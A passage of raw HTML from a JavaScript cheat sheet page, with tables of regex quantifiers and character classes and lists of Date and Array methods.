</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Zero or more, ungreedy</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a+</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
One or more of a</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a+?</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
One or more, ungreedy</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a{3}</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Exactly 3 of a</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a{3,}</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
3 or more of a</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a{,6}</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Up to 6 of a</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a{3,6}</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
3 to 6 of a</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a{3,6}?</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
3 to 6 of a, ungreedy</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
\</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Escape character</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
[:punct:]</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Any punctuation symbol</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
[:space:]</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Any space character</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
[:blank:]</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Space or tab</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_7_121" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript Dates</span></h3>
<div class="cheat_sheet_output_block" id="block_7_121" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Date()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setMonth()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getDate()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setFullYear()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getDay()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setHours()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getMonth</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setMinutes()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getFullYear</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setSeconds()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getYear</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setMilliseconds()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getHours</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setTime()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getMinutes</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCDate()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getSeconds</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCDay()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getMilliseconds</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCMonth()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getTime</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCFullYear()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getTimezoneOffset()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCHours()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCDate()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCMinutes()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCDay()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCSeconds()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCMonth()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
setUTCMilliseconds()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCFullYear()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toSource()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCHours()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toString()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCMinutes()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toGMTString()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCSeconds()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toUTCString()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
getUTCMilliseconds()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toLocaleString()</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_7_120" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript Arrays</span></h3>
<div class="cheat_sheet_output_block" id="block_7_120" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
concat()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
slice()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
join()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
sort()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
length</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
splice()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
pop()</div>
